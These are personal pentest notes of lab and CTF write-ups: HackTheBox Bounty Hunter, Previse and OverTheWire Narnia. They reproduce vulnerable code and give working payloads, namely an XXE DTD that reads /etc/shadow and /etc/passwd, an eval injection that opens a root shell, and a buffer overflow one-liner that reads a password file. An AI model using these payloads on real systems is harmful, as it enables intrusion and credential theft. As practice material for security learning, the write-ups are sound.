Pentest – Case Studies

Boxes

HackTheBox Bounty Hunter

Overview

JS code, used XML as post parameter to retrieve data from some source. It used .val() attribute to get the value of user input. No sanitation was applied, thus highly vulnerable to XXE injection.

Web Vulnerable Code

function returnSecret(data) {
    return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"
            }));
}

async function bountySubmit() {
    try {
        var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
        <bugreport>
        # !!!no sanitation of any kind!!!
        <title>${$('#exploitTitle').val()}</title>
        <cwe>${$('#cwe').val()}</cwe>
        <cvss>${$('#cvss').val()}</cvss>
        <reward>${$('#reward').val()}</reward>
        </bugreport>`
        let data = await returnSecret(btoa(xml));
        $("#return").html(data)
    }
    catch(error) {
        console.log('Error:', error);
    }
}

Analysis

Using this XXE injection payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<foo>&xxe;</foo>

one can get any file on the system with read permission.
And because this is web based, php://filter/convert.base64-encode/resource= can be used to get complex file contents, like source code.

Hence, this final payload looks like this:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<bugreport>
    <title>&xxe;</title>
    <cwe>whatever</cwe>
    <cvss>whatever</cvss>
    <reward>whatever</reward>
</bugreport>

This will get you the content of passwd file.
Then, use developer tools, call returnSecret(btoa(xml)) to execute the payload.
在这里插入图片描述
We can see the

Python Vulnerable Code

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                # this is vulnerable, no sanitation, plus all bultins can be used, like __import__
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Analysis

The line of vulnerable code is validationNumber = eval(x.replace("**", "")). Construct the md file accordingly, and use common boolean expression to execute arbitrary code. Here, all python builtins can be used, so __import('os').system('/bin/sh') is available to get root shell.

Click to see reference.


HackTheBox Previse

Overview

The website has a login form, default admin:admin credentials not working, and no sql injections can be found. After gobuster it, several interesting pages is found. Like nav.php. And there is a link to accounts.php, but the behavior is when you click it you get 302 redirected to the home page.

Solution

Maybe the redirect is set to disable user registering functionality. But that's not a proper way to do it. We can then intercept every request and response, and on the first response from the server, where is says 302 Found, change it to 200 OK, and send the request, you will continue to the page that you want.

CTFs

Revserse

Narnia 1

Overview

Elementary buffer overflow. Have to understand how memory is allocated, and how to manipulate it using buffer overflow. Click to see reference.

Vunerable Code

#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    //scanf length (24) exceeds that limit of buf (20), the next 4 bytes
    // will be the value of val
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef){
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

Analysis

According to the analysis here, val gets written to the momery first, so if we draw out the memory, val will be right above EBX, and right below buf. Then problem solved. When you input 24 bytes of data, the last 4 bytes of data will overflow and overwrite val, which we can control.

(python -c 'print "A" * 20 + "\xef\xbe\xad\xde"'; echo 'cat /etc/narnia_pass/narnia1') | ./narnia0